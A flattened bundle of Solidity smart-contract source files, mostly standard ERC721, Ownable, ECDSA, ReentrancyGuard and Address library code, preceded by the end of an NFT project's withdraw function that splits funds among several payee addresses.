payable(dev2Address).transfer(dev2Transfer); payable(artAddress).transfer(artTransfer); payable(owner2Address).transfer(owner2Transfer); payable(msg.sender).transfer(partnerTransfer); require(address(this).balance == 0); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ 